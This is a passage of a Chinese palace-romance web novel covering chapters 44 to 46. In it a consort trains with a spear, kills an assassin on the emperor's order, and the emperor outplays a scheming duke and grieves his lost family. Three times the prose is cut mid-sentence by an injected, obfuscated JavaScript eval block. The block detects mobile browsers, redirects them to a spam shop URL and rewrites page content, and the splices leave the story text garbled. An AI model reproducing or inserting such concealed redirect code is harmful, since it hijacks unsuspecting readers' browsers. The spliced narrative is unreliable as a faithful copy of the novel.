每天日复一日的被尧让“特种兵式训练”,夏星辰已然是快累哭了。这一日,她趁着尧让不在,坐在一块大石头上喘着气:“不行了,我得休息一下。” 光是想到尧让那刚正不阿、禁止讨价还价的模样,她就忍不住吐槽:“我真是服了,这究竟是谁喜欢疯批人设啊!” 44.补最后一刀 “娘娘,陛下说了,您今日不能休息,得继续练。”一旁的百里弱弱的提醒着她。 “百里,我求你了!我真的得休息一下!” “可......若是被陛下看见了,就糟了!” 夏星辰抬起手,做了一个‘嘘’的姿势:“再歇息一分钟,我就起来继续练。” “你们在做什么?”尧让边说边朝着二人走了过来。 还真是怕什么来什么。夏星辰和百里不约而同的看向尧让,二人此时简直是无语...... 夏星辰连忙站起了身,像是一个被抓现行的小偷。而尧让则停在了百里身前,神情严肃道:“百里,朕的命令你现在是不放在眼里?” “陛下,属下不敢!” “那朕让你盯着明妃,你在做什么?”尧让话语里的冷淡丝毫没有减弱半分:“既然你这么想当大善人,那你便去廷尉狱领罚,长长记性!” “等等!”他这行径让一旁的夏星辰看不下去了:“这件事与百里无关,是我自己执意要歇息会儿的。” 尧让将目光落在她身上,冷哼一声:“好,那便将朕之前赏赐给你的那些金银珠宝全部收回来。” “我就歇息了不到十分钟,你未免过分了点!” 他丝毫没有理会夏星辰的埋怨,而是转头看向林贤:“听到朕的话了吗?” 林贤面露为难的应声:“是,陛下!” “属下与林公公一同去办此事。”趁着能得到解脱的空隙,百里急忙追上往前走的林贤。 “你还不继续?” “知道了。”夏星辰气鼓鼓地拿起长枪,在他面前展示自己这段时间的训练成果。 尧让坐在方才那块她坐过的石头上,重重的叹了口气:“力道不对,重来!” “招式不对!” “重来。” “重来。” 一次又一次的重来,夏星辰的训练也是从白天到黑夜。她不停地喘着气,视线一直停留在远处的稻草人身上,紧接着,她紧紧地攥着手中的长枪,身体跃起,找准时机,将长枪朝着稻草人扔出。 下一刻,一杆长枪准确无误的刺穿了稻草人的咽喉,夏星辰跃到稻草人身前,干净利落的将长枪拔出。 她转过身,看着尧让,得意地笑道:“如何?” “很好!”尧让站起身,走到她面前停下脚步:“朕教你的这些,你可一定要记住了。” 夏星辰点点头:“记住了。” “除了长枪,朕所教给你的剑术也要时常练习,不准偷懒!” “那你先将我的那些金银珠宝还给我。”夏星辰摊开掌心。 尧让简直是哭笑不得:“好,朕到时候再命人送回去给你。” 见她开心的蹦跳着,他猛地拥她入怀,随即俯下身,将脸埋进了她的颈窝,轻声说道:“这两日朕要解决内忧之事,你若是有别的事情要寻朕,就找百里。” 说着,尧让拿出了一个哨子塞在夏星辰手里:“这个哨子能唤来百里,若是遇到你无法解决的事,可吹响。” “我就在皇宫里,可能用不上这个哨子。” “萧诗柔在皇宫里,不也遇到刺客了?” 夏星辰瞬间就明白尧让话里所说的意思,她看着手中的哨子,点了点头:“好,我一定会收好的。” “朕就喜欢同聪明人说话。”尧让抬起手,轻抚着她的脸颊:“记住了,若是遇到打不过的人,别与之纠缠,跑为上计!” “放心吧!”夏星辰忽的好奇问道:“内忧之事是何事?” 话刚说出口,她便尴尬的清了清嗓子。她知道自己问这问题就是不合规矩,朝政之事岂是她一个后宫妃子能知晓的? 显然,尧让似乎不在意这些关于朝政之事她应不应该知道;她若想知道,他便和盘托出...... “除了尧显的野心,还有那躲在暗处的某些势力正在伺机而动......若继续放任其不管,可就真的逃脱朕的掌控了。”尧让看向她,继续道:“小满,朕不在意你变得越来越强;相反,朕希望自己能托举你到你想要的位置上,潇洒肆意可行。” 夏星辰不禁笑出了声:“你就不怕功高盖主啊?” “朕说过了,朕不打没有胜算的仗,无论是刀剑相向,亦或是人心揣测。”尧让嘴角上扬:“这是先皇后教朕的第一门课。” “愿闻其详!” “先皇后未贵为皇后之前,是先帝未称帝时的正妻。夺嫡之争残酷,先皇后聪明绝顶,谋略甚是高明,她的双手未曾沾染血腥,却一步步替先帝扫除了障碍,助先帝坐上了帝位。”尧让轻叹道:“朕疑惑过,也不解过,先帝宠爱众多嫔妃,却唯独冷落了先皇后,可先皇后仍然倾尽一切助他,朕不懂!” 尧让像是沉浸在过去一般:“先皇后所用的一切东西,是其他嫔妃的绝对禁忌。而就是这样低廉的手段,却是让先皇后甘之如饴的替先帝守着后宫,毫无怨言。” 夏星辰忽地开口:“那样聪明的皇后怎么可能什么都不知道?” “是否要与你在一起这件事,朕想了一宿。若是不管不顾,便是拥有了软肋,成为一个赌徒......直到朕想到了先皇后曾问过朕,对自己眼下拥有的这一切,是否有足够自信心守得住?” 下一刻,尧让一副胜券在握的模样看向夏星辰:“无论是这江山,还是你,朕有绝对的自信心能守得住!其他帝王所担忧的事情,在朕这里,只有不屑。” 眼前的人突然搂住了他的腰,眼神坚定地说道:“放心吧,我不会让你输的。我不是那喜新厌旧的人!” “彼此彼此!”尧让也紧紧的搂住了她。 如尧让所说的,他这两日的确是未曾露面,也未曾差人来寻她。夏星辰有空闲就练练他所教给她的武功招式,实在无聊得紧,就拿出没看过的戏文,津津有味的看着。 当她再一次看到那本记载奇事的戏文,脑海中竟不自觉浮现那说书先生所讲的“一位名门贵女,为了相助自己的情郎夺取皇权,便进了皇宫,当了妃子。甚者,还谋害了当时备受宠爱的皇后娘娘......” 可夏星辰记得清清楚楚,除了那位‘跛脚之人’与古书上记载的历史相似,其他的均对不上。 “朝秦?朝秦是什么朝代啊?即便是我再不熟知历史,这朝代我总不能会搞错吧?”夏星辰十分笃定道:“没错,我所熟知的历史上并没有朝秦这个朝代!” “难不成,真如尧让所说的那般,历史也许真有偏差?毕竟胜者才有书写历史的资格!”夏星辰顿感头疼,抬起手揉了一下太阳穴:“算了,我实在是想不明白。” 决定摆烂后,她便将那本戏文丢到一旁,不再细究。 夜色已深,寝殿里就只留着一盏昏黄的夜灯。夏星辰刚躺在床榻上,覆盖在身上的被褥还带着微凉的暖意,她本闭上眼睛酝酿着睡意,却被窗外传来的动静惊醒了。 她瞬间坐起身,还没来得及看清来人,就见一道黑金色的身影踩着窗槛跳了进来。 “阿让?”夏星辰看他如此狼狈,眼底满是疑惑:“你怎么从窗户跳进来了?” 尧让嫌弃的用手扫了扫身上龙袍常服上的灰尘,阴沉的神情明显就是压着一股无名火。紧接着,他大步流星的朝着床榻走去,咬牙切齿的说道:“这还不是托了你这寝宫里婢女的福!” “啊?” 他坐在床榻边上,对着她仍旧疑惑的模样解释道:“这么晚了她不歇息,竟在前院浇花!朕险些被她撞见,这才迫不得已从这破窗户进来了。” 听着这话,夏星辰没忍住大笑出了声:“堂堂皇帝跳窗而入,想想也挺好笑的。” “当然是挺好笑的!她这么喜欢浇花是吧?行,朕明日将她派去花草最多的后山去,让她没日没夜的浇个够!”尧让说这话时,语气里夹杂着那点没地方撒的邪火。 “哎呀,你别跟她计较!”笑意渐渐淡了些:“对了,你为什么不能从大门进呢?” “内忧之患未解决时,只能先委屈你,朕和你的关系还不能捅破,否则会引来没必要的麻烦。”尧让无奈的耸了耸肩:“而且你也不想又被太后为难吧?” 这话瞬间让夏星辰想起了一些令她觉得不适的回忆:“是是是,我也是怕了。” 下一刻,尧让一手搂住了她,将她往怀里带,眼底的火气逐渐散去:“朕这个时辰来找你,主要是想......” “想做那事?不好吧?”她突然打断了他的话,至于夏星辰为何会想到这种事,主要是因为大半夜他来找她,不可能是为了单纯来找她聊天吧?想想这也不是正常人能做出来的事情。 尧让故意长长的哦了一声,笑道:“怎么不好了?又不是没做过。” 夏星辰俨然一副正经模样:“不行!我这床单要是弄脏了,明日我怎么跟小莲解释啊?万一被有心之人搞事,我又要被太后处罚了,咱们别闹了。” “那便换个地方......” 原木浴桶里注满了热水,尧让横抱着着她入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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话音刚落,萧诗柔持着长剑朝着她刺去。和上次一样,萧诗柔出剑的速度特别快,快到令夏星辰只能闪躲,无法反击;所以同样的招式,还是逼得她连连后退。 只是这时的夏星辰和之前又不一样了,她紧握长枪,身体跃起,朝着她狠狠刺去。萧诗柔挡住了第一枪,可夏星辰又以极快的速度使出了第二枪、第三枪,直至她手中的长剑掉落、胸膛处被长枪重重地击中后,身体便无力沿着墙壁倒了下去。 “在如此短暂的时间里,竟然学会如此具有杀伤力的枪法,我还真是小瞧你了!” 夏星辰握着长枪直指着她:“我又不傻,总不能在一件事上摔两次吧。” “即便我输给你,你也活不了!整个莹粹宫,已经被包围了。”萧诗柔神情得意地说道。 “是吗?”夏星辰从腰间处拿出了之前尧让给她的哨子,然后轻轻一吹,一群御林军便纷纷往莹粹宫方向而去,刹那间,局势便调转了过来。 “怎么会?”听到脚步声的萧诗柔缓缓站起身,踉跄地朝着门口跑去,一推开门,一支箭矢就穿过了她的胸膛。 而那射出箭矢的人正是站在御林军前面的百里。 夏星辰走了出来,见到了跪在地上毫无反抗之力的萧诗柔。 “见过娘娘!” “辛苦你了,百里。”夏星辰笑了笑:“陛下可还好?” “陛下应当在赶来的路上!” 百里话音刚落,身着黑金色龙袍的帝王便缓步走了进来:“你这么急着要见朕,朕便来了。” 他看了一眼全被控制住的死士,冷冷的吩咐道:“将这些人全部带下去,即刻处死!” “是!”百里示意禁军将他们全部带了下去。 尧让的目光落在夏星辰身上,语气不带一点温度:“小满,握紧长枪,补最后一刀!” “不......不问清楚她出现在这的缘由?受何人指使?” 面对夏星辰的疑问,尧让压制了怒火,随即耐心地解释:“一个要取你性命的人,该死是最好的缘由。你要记住了,心慈手软可不是什么值得赞扬的东西。” 见她迟迟未动手,他那冰冷的话再一次砸下:“怎么?还要朕教你怎么补最后一刀吗?动手!” 夏星辰抬起手中的长枪,没有任何的一点犹豫。下一刻,长枪已然贯穿了萧诗柔的咽喉,随着长枪的拔出,她的身体也直直的倒了下去。 看着地上毫无生气的萧诗柔,再看看自己手中的沾染鲜血的长枪。心中只浮现一个念头:‘人教人不会,事教人一次就够’。 45.欲使其亡,先让其狂 “以后这种事情,不要让朕再教你第二遍。”尧让坐在夏星辰房间的椅子上,拿起茶壶边倒着水边说。 “我知道了。” 见夏星辰满怀心事的模样,尧让喝了口茶,耐心的解释道:“‘对敌人心慈手软就是对自己残忍’,想必这句话不用朕一一跟你解释了吧?朕不是要你成为一个心狠手辣的人,但至少你自己要有安身立命的本事。” 尧让放下茶杯,继续道:“冷静、判断、思考、决策,缺一不可,在深宫中最是受用。小满,朕不知晓在你那个时代会不会用得上,但在这里,你只有学会这些,方可性命无虞。” “道理我懂!是我在我的那个时代安逸惯了,以至于对这种事情缺乏经验。” “无碍,慢慢来。”尧让看了看身旁的椅子:“坐。” 夏星辰坐在他身边,好奇地问道:“你给我哨子,就代表你是知道萧诗柔今夜会取我性命?” “不是知道,是朕太了解萧泞这个老家伙了。”尧让冷声道:“朕给了他一月的时间,让他自己想清楚这利益交换。究竟是要舍掉萧诗柔这颗棋子,还是断掉自己苦心积累的势力。显然,他果真没让朕失望。” “所以你从一开始就已经想要萧诗柔的性命了?” 尧让点了点头:“从朕和你为她演那出‘将计就计’的戏码时,朕当时留她性命可不是给她的圣恩,而是要让萧国公以为自己稳操胜券。”说着,他眼底闪过一丝不屑:“而萧诗柔那帮蠢货还以为朕对她甚是偏袒。总而言之,落得今日下场,纯属萧诗柔太过于自以为是;朕还以为萧国公对萧诗柔这养女可谓是情意深重呢?没想到,十几年的情感终究只是利益关系。” “你等等。照你这意思,今夜萧诗柔是肯定会死的?” “也许吧。毕竟对于萧国公来说,萧诗柔已经失去了作为一颗棋子的价值!无论是上次刺杀萧诗柔的刺客,还是这一次出现在莹粹宫的刺客,他也早就做好了谋划,一石二鸟,岂不是更好?” 夏星辰不解:“我与萧国公有什么深仇大恨吗?” “最大的深仇大恨便是他害怕你成为皇后!若你成为皇后,你背后本就掌握兵权的将军府势力只会更大,更难被扳倒,所以无论如何,你都有必死的理由。” “萧国公萧泞?史书上没记载过这个人物呢?”夏星辰直到现在都还没理清楚尧让与嬴政的关系,一想到这,夏星辰头都大了起来:“说实话真的很丢脸,我的历史真不是特别好。” 尧让没听清她的自言自语,问道:“你在嘀咕什么?” “没什么。只是想起了一件让我很不舒服的事情。”紧接着,夏星辰便对他翻了个白眼:“你方才说的蠢货,怎么听起来像是在指桑骂槐呢?况且你这两次的所作所为,很难不让人以为你是在偏袒她吧?” “何来的偏袒?”说着,尧让露出了一副委屈的神情:“那还不是你不了解朕?” “大哥,你讲点道理行吗?你藏得那么深,我又没有透视眼,也不是你肚子里的蛔虫,我哪知道你在想什么?再说了,你可以偷偷跟我讲啊。” “既然如此,以后无论朕说什么,做什么,你都要无条件的信朕,不准质疑!” 夏星辰伸出了一个小拇指:“这话同样适用,你也要无条件信我。拉钩!” 尧让笑了笑,虽然不知道她这个动作是何意思,但还是伸出了小拇指勾住了她的小拇指,约定就这样草率的达成了。 正经事情谈完了之后,二人之间的对视烘托出了这暧昧的氛围。 “尧让,要接吻吗?” 话音刚落,眼前之人还未给出答案,站在房外的百里突然开口:“陛下,人抓到了,全招了!” “朕知晓了!记住,别把人弄死了。”尧让回应他的话中夹杂着极致的不耐烦。 门外的百里不知道自己说错哪句话了,不解地挠着头:“是。” 随后,尧让一把将身旁的夏星辰搂在怀里,紧接着便在她额头上落下一个吻:“这段时间朕可能抽不开身来你这里,剩下的事情比较复杂且麻烦,所以,你就乖乖的待在莹粹宫,哪里都别去;若是实在无聊得紧,可以出宫回将军府陪陪祖母和老将军。” 夏星辰抬眼看着他:“我现在不弱,可以帮你的。” “放心吧,这江山朕还是守得住的!只是这一次,朕不打算将这‘昏君’戏码演下去了。” “好,那我就回将军府等你。”她识趣地没有继续追问下去。 尧让宠溺的摸着她的头发,笑道:“对了,你可不许再犯上次的错啊?” “什么错?” “朕实在无法容忍你去那勾栏之地。第一次朕原谅了你,但可没有第二次!” 听到这话的夏星辰尴尬笑了笑:“不去不去!绝对不去!有你这样的美男子,谁要去找‘男模’啊。” “那就好!行了,朕还有事要解决,让百里送你回将军府。” 夜里的廷尉狱已经很长时间没有出现哀嚎声了,今夜这哀嚎声却显得如此的刺耳。尧让一步步走了进来,坐在一张还算干净的椅子上。 跪在地上的人伤痕累累,他狼狈的抬起眼看着前面坐在椅子上的尧让,确认这不是幻觉之后,那人便惊慌失措的低下了头。 “抬起头,看着朕!” 那人身后的林贤粗暴的抓着他的头发,迫使他迎上尧让那双冷冰冰的眸子。看着尧让那杀意尽显的神情,他哭着哀求道:“陛下,饶了奴才吧!” “一个个的,都不将朕放在眼里啊!”尧让的语气甚是平静:“朕没记错的话,你就是那个凭借铸造出一副好棋盘而令先帝欢喜的工匠?” “是......是的。” “看来已然是筹谋已久!还真是好一出山鸡变凤凰的戏码。你若是躲好,朕也许永远都找不到你,说不好还会来一个死无对证;可你偏偏选择在朕的眼皮子底下侮辱皇家颜面,让朕这个天子变成全天下的笑话!”尧让怒气横生:“你死一百次都无法令朕消气!” 那人哭得越来越大声:“陛下,奴才错了,奴才错了,求陛下饶命啊!” 尧让站起身,走到他身前,冷漠的一字一句道:“不仅仅是你,你儿子,以及......那坐在高位上的人,朕一个都不会放过!所有参与进来的知情人,一个都逃不掉!” “给朕拔了他的舌头,还有......”尧让看了一眼他身上的某个地方:“阉了!” 林贤应声道:“是!” 伴随着那人撕心裂肺的痛苦声与刑罚后声音的戛然而止,尧让也已走出了廷尉狱。百里从黑暗处走了出来,低声说道:“已经将娘娘送回将军府了。” 见他未作出任何反应,百里继续道:“另外,萧国公培养的死士势力已经被风虎军控制了。若猜得没错,国公明日应当会主动来寻陛下!” “你去将先帝最喜爱的那副棋盘放置到御书房去,朕要跟萧国公好好下个棋。” 百里点点头:“是,陛下!” 与百里所猜测的相差无几,第二日,萧泞果然主动来寻尧让了。 “臣见过陛下!” 尧让从龙椅上走下来,脸上带着一抹浅浅的笑意:“国公怎的来了?” 他还未开口应答,尧让已走到棋盘边坐下:“既然来了,便陪朕下个棋吧,可好?” “能与陛下下棋,是臣的荣幸!” “坐吧。”说着,尧让已拿起一颗黑棋落于棋盘之上。 萧泞在尧让对面坐下,取过一颗白棋落子。二人有来有回,显然,心思已然都沉浸在棋局之中。 “陛下的棋风,依旧是这般的进攻凶猛,不给对手半点活路。”萧泞手捏着那颗白棋,不知该将它置于何地。 见状,尧让冷笑一声:“朕向来都是如此。难不成,国公这是不记得了?朕只是让旁人看到朕想让他看的,这既是当今的国相教朕的,也是先帝教朕的第一门课。” “是!看陛下如今的棋风,已然是在先帝之上了。”萧泞寻思了片刻,还是将手中那颗白棋落在了一个自己也没把握的位置。 “国公此举可谓是下错棋了,且还是个大错!”说着,尧让便将一颗黑棋落下,棋局瞬间明朗了起来,他嘴角上扬:“朕自是最厌恶讲一堆大道理,朕行事作风,早就在先帝之上了。” “棋局太险,陛下莫要轻敌了!”萧泞若有所思的说道:“各朝各代,再明智的帝王也会犯错;过于自负,最是轻易将胜局搅和成败局。” “可朕最擅长的便是险中求胜!”尧让脸上的笑意褪去,神色严肃:“自负二字最不能出现在朕身上!若说朕有何软肋,便是过于重情重义。朕不会忘记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841322|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当年先皇后因涉政,被有心之人加以诬陷,是国公你不顾众朝臣反对,毅然决然替先皇后求情,这才让先皇后免于一难。” “欲使其亡,先让其狂。”尧让缓缓念出这一句话,继续道:“这是你对先皇后说过的话!后来先皇后便用这句话教导朕与前太子。当年朕年幼不懂,如今想来,这话倒也是颇为受用;无论是这棋局,还是这江山,坐收渔翁之利的人,定然是朕,也只能是朕!” 说罢,他再次落下一颗黑棋,冷淡的开口道:“国公,你输了!” 萧泞低头一看被黑棋团团围住的白棋,苦笑着叹了口气:“陛下您还真是......半分活路都不给啊!” “这一招,叫以退为进。”尧让笑了笑道:“国公,朕念及旧情,不愿将事情做得太难看,也不愿令国公你难堪。不如,朕指条明路给你?” “请陛下指教?” 尧让取过一颗白棋落于棋盘之上:“静观其变,可好?” 见萧泞的神情变得越发难看,尧让的语气也变得冷淡:“朕向来不给敌人留活路的,只是看在先皇后的面子上,朕还国公一份恩情罢了。眼下,朕已然知道你手中的白棋不多了,国公你再怎么固执己见,然,落子无悔,胜局已定!” “当然,国公若觉得此路不妥,那朕也尊重你的选择。但你可要记住了,被黑棋围堵的白棋已无路可走,若继续冥顽不灵,便是敬酒不吃吃罚酒了!” 萧泞忽的笑出了声:“怪不得......怪不得先帝最后执意要立陛下为储君;陛下您的确有帝王之势!”随即,他一颗颗收回了所有的白棋:“陛下,臣输得心服口服!” 此时此刻,萧泞也明白了过来,原来这一切全在眼前帝王的掌控之中。他重重的叹了口气,站起身躬身说道:“陛下,臣,知道该怎么做了!” “明白就好。”尧让的语气依旧冷淡:“国公剩余的那些白棋,朕便替你收着了;朕相信,国公定不会令朕失望的,对吧?” “自然,陛下!” “既是如此,那便退下吧。” 萧泞躬身道:“是,臣告退!” 看着萧泞走出御书房,百里走到尧让身边,小声的说道:“属下已经以萧国公的口吻,给显王殿下传了书信,约在五日后的生辰宴上。” “盯紧萧泞!若是里外不一,杀之。” “是!” 尧让指尖紧攥着一颗黑棋:“百里你知道吗?在朕得知那个消息之时,心里还有点恐惧......恐惧那个山鸡是朕自己。” “陛下这般聪明过人,怎会是那山鸡所出?”百里说这话时,眼神透露出一股异常坚定。 尧让缓缓松开手,被攥着的那颗黑棋已然化为灰烬落于地上;他看都未曾看一眼,神情无比失望道:“朕年幼时在太后身边,时常会挨饿,每当朕看到尧显满桌丰盛的膳食,内心不止一次嫉妒他。朕始终不相信天底下会有不疼爱亲生儿子的母亲,所以朕便对太后的话唯命是从,可即便是替尧显揽下一次次的指责,她对朕依然是厌恶至极......” “原来无论朕做什么,都入不了她的眼。”说着说着,他便红了眼眶:“朕念及亲情,很多事情便睁一只眼闭一只眼,可如今,她这是要取朕的性命!让这皇家的江山落到一个山鸡的手里?” “陛下?” 尧让笑出了声,一滴泪也静悄悄的落到了脸颊上:“先皇后总教导朕和太子皇兄,要以礼待人、以德服人,如今想来,还当真是笑话!太子皇兄仁德,谦谦公子的表率,一门心思做善事,最后的下场是如何呢?先皇后不争不抢,安分守己待在枫叶殿,最后的下场又是如何呢?” “朕差一点,就只差一点点,朕就能成为那无忧无虑的鲜衣怒马少年郎,差一点点就能将他们护在身后。可这一切,却每一次都来不及,太子和先皇后,朕一个都护不住!”尧让紧紧的攥住黑金色的龙袍一角,身体也不受控制的颤抖:“百里,朕想吃梨了。” “属下这就去取过来。”百里转过身跑了出去。 片刻的功夫,百里快步跑了进来,将手心的梨塞在尧让手心里后,便自觉的走了出去。 尧让轻轻啃了一口手中的梨,然后将自己缩成一团在角落里,哽咽的说道:“母后,太子皇兄,你们不在,那些人都像野兽般扑向了阿让!” 46.没有把握的赌局 与过往无异,尧让跌跌撞撞的往东宫走去。百里和林贤习以为常般静静地跟在身后,直到看到他进去尧乙的房间,他们便与往常一样站在门外守着,哪怕是听到从里面传出来的啜泣声,他们也没发出一丝不合时宜的声音。 百里和林贤都是自小就跟在尧让身边,无论是在将军府,还是上了战场,三人几乎都是形影不离。为了护主,一个心甘情愿当了躲在黑夜中的暗卫;另外一个心甘情愿当了假太监...... 尧让躺在床榻上缩成一团,刚要陷入睡眠中时,却突然被站在床边的人拍了一下头。他面带怒火睁开眼,在看到眼前人的模样时,瞬间就坐起了身,不可置信的结巴道:“太......太子皇兄?” “阿让,是不是你又调皮了?你怎么可以往三皇弟的茶水中放虫子呢?” 虽然心中带有不解,但他还是耐心地解释道:“因......因为他故意在父皇面前设计陷害你,所以......我替你报仇。” 尧乙点了点头:“哦,原来如此啊,那本宫刚刚又一个不小心将一条虫子放了进去。”他俯下身看着坐在床榻上的尧让,笑道:“你是没看到他方才出糗的模样,甚是好笑。” “那你还教训我?” “嗯?”尧乙故意生气道:“本宫是你皇兄,这种事情当然我来做;阿让是弟弟,本就该躲在本宫身后,让本宫护着你!” 尧让见他一副得意的模样,忍不住翻了个白眼:“得了吧,被皇兄你保护,恐会鼻青脸肿!” “你这臭小子,敢奚落本宫了?”说罢,便再次拍了一下尧让的头。 两人正闹得欢时,先皇后走了进来,手上还握着一把戒尺:“你们两个小子,给本宫滚过来!” 尧乙和尧让一看到先皇后,不敢有丝毫懈怠,纷纷走到她身前,然后跪下,异口同声地说道:“母后!” “抬手!” 言简意赅的两个字刚落下,他们便缓缓抬起了手,随着戒尺的重重的砸下,二人本能的想缩回手,却在看到先皇后严肃的神情时,又只能强撑着。 “还挺有骨气的你们两个,本宫教导你们两个莫要惹是生非,你们这是将本宫的话当耳旁风是不是?” 尧乙还是一如既往的将过错全揽了下来:“母后,是儿臣的错,儿臣不该与三皇弟计较,更不该撺掇阿让伺机报复。” “尧乙,你是太子!本宫是不是同你讲过,凡事都要以大局为重?” “何为大局为重?”尧让猛地抬起头看着先皇后,斩钉截铁的开口道:“母后,忍气吞声并不能换来和平安宁,只会让对方变本加厉!” 话刚说完,尧让便站起身,将尧乙扶了起来。看着他们熟悉的模样、熟悉的神情,随即低笑了几声:“母后,太子皇兄,朕知道朕这是又梦魇了,毕竟除此之外,朕实在是找不到与你们相见的法子。” “太子皇兄,阿让已经替你将他们都杀了,也听你的话守了这江山。”尧让红着眼眶看着先皇后,哽咽道:“母后,朕也听你的话,人前藏拙。可是母后,这法子已经不管用了,这法子只会让朕护不住身边之人,只会让那些宵小之人肆意妄为!” 说着,他冷笑出声:“所以朕思虑再三,朕不想再藏了。行吗?母后。” 先皇后走到他身前,抬起手温柔的擦拭他脸颊上的泪水:“我们阿让实在是太辛苦了!无论阿让做出什么决策,母后还是一如既往地支持、相助。” “这一次,我们阿让就大人有大量,原谅皇兄这一回吧!行吗?”尧乙说着话时面带笑容,眼泪也在同一时间落了下来。 尧让哭着哭着便笑了,点了点头:“行,就这一回!” “真是没白疼你这臭小子!”尧乙笑得甚是开心。 下一刻,躺在床榻上的尧让睁开了眼,他抬起手擦干眼角的泪水。缓慢坐起身后,目光落在墙壁上的两张画像上,笑了笑道:“母后,太子皇兄,忘记同你们说了,朕似乎找到了能携手一生的人了!但在此之前,朕得请你们看一出好戏!” “百里,林贤。” 门外的二人一听到声音,便轻推开门走了进去。 尧让抬眼看着他们,吩咐道:“你们去找一帮戏子,给他们一戏本,让他们五天后去王爷府给显王好好唱唱,同他们说,这是朕特意送给王兄的生辰礼。” “明白。那戏文的内容......”林贤轻声问道。 “同之前恭迎宴上的那般,内容就讲这‘山鸡是如何变成凤凰’的。” 百里点点头:“那属下去找戏子。” “奴才撰写内容。” 尧让轻声嗯了一声:“去吧。” “此举是否太过着急了?”苏风逸坐在窗户边看着尧让,继续道:“走到这一步,可就无法回头了。” “你给朕滚下来!谁允许你坐在那里?” “是是是!”苏风逸从窗户上跳了下来,坐在尧让对面的椅子上,犹豫了片刻后说道:“有一件事,我担心与陛下接下来的谋划有关联。” “说。” 他凑身过去,低语了好一阵后,轻叹息道:“我试探过了,这三日都如此。” 尧让脸上明显出现了些许慌张的神情:“这番变化她自己未曾察觉?” “未曾。”苏风逸站起身,想了想:“我认为,我们的谋划或许要搁置一段时间了,陛下这出‘山鸡变凤凰’的戏码也要搁置。毕竟,当初那个舞姬用的便是这个手段!兵不厌诈总是好的,陛下认为呢?” 尧让抬眼看向苏风逸,嘴角微微上扬:“既是如此,朕便来个‘兵不厌诈’,如何?” “何为兵不厌诈?” “苏风逸,你可否有心悦的姑娘?” 尧让突如其来将话题转移,苏风逸下意识躲避掉他的眼神:“陛下您这是何意?” “明眼人都看得出来,尧卿那丫头甚是心悦你;不知你的心意是否与她相通?” 见他如此犹豫不决,尧让忽的冷笑一声:“难不成......你也认为尧卿只是皇室的养女,并非纯正的皇室血脉,你便觉得她配不上你这个大将军了?” “陛下,您就别打趣我了!我岂是那种狗眼看人低之人。况且,于我来说,只要是心生欢喜就行,至于出身,我不在意。” “那你就回去好好想想,要不要跟朕求一道圣旨。” 苏风逸不可置信的看着尧让:“陛下,您不是开玩笑的?” 这一次,尧让没有说话,只是看向他的眼神瞬间变得无比冷漠。苏风逸尴尬的笑了笑,索性不再提起这个话题。 “苏风逸,朕......要赌一把!”尧让走到尧乙和先皇后的画像前,拿起三根香,点燃后鞠着躬,随即将香插在香炉里:“坐上龙椅那一日,朕有问过自己,是否真的喜欢当皇帝?皇帝这个身份对于喜自由的朕来说是否是个牢笼?” “那陛下是怎么说服自己的?” 尧让看着墙上的画像,缓缓道:“若是无权,朕身边的人,朕一个都护不住;若是掌权,那便另当别论!” “太子深陷囹圄那日,先皇后薨逝那日,朕的自由也早就随他们去了。一直以为,这江山是朕在替太子守着,所以便对尧显所做之事睁一只眼闭一只眼;可朕错了,一旦这皇权被分割出去一点,等待朕的可就不是自由了。” “陛下这话倒让我想起过去在战场上遇到的一件事,不知陛下可还有印象?当时我欲从三皇子手中救下一位姑娘,而当时的我的确是有能力、有手段从众多护卫手上救下她,可也因此连累了我爹和祖父,他们足足跪在义和殿外一整天,也就是从那时起,我才明白了权的重要性,更明白了明君的意义。” 尧让突然笑出了声:“明君的意义?你这是在朕面前贬低先帝呢?” “并非如此,我只是在想,幸好不是三皇子当皇帝。”苏风逸看着尧让,认真的开口:“我其实想说的是,陛下所做的决策不仅仅是为了护住身边之人,还有那千千万万的子民。” “朕算是明白为何先皇后在世时总夸赞你了,你的确是不可多得的忠臣啊。” “是忠臣亦是至交!无论接下来的谋划如何,陛下您说,我去做。”苏风逸脸上的那抹疑惑仍旧无法被解答:“陛下,恕我愚笨,究竟何为兵不厌诈!” 尧让拿起桌子上的一颗梨,轻咬了一口:“说是兵不厌诈,其实是朕存有私心罢了。尧卿是先帝在外私访时带回来的养女,虽然大多数人都质疑尧卿是先帝在外的私生女;但此事先帝与朕讲过,尧卿其实是先帝故友之孤女,见她孤苦无依,便将她带回了宫里,当成了公主养。” “清平公主确实被教得很好。” “自然,毕竟尧卿可是唯一一个在先帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860015|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边长大的公主!先帝对她的宠爱不低于任何一个皇室子女。”尧让细嚼着嘴里的梨:“朕答应过先帝,定要护住尧卿。” 苏风逸走过去,也顺手拿起了一颗梨,边吃边说道:“可这人人都羡慕的清平公主,还是差点被先帝留下来的一道圣旨给送去了苦寒之地和亲。” “你还真是不将朕当外人啊,在朕面前一而再再而三贬低先帝。听你这意思是要朕同你一起贬低?” 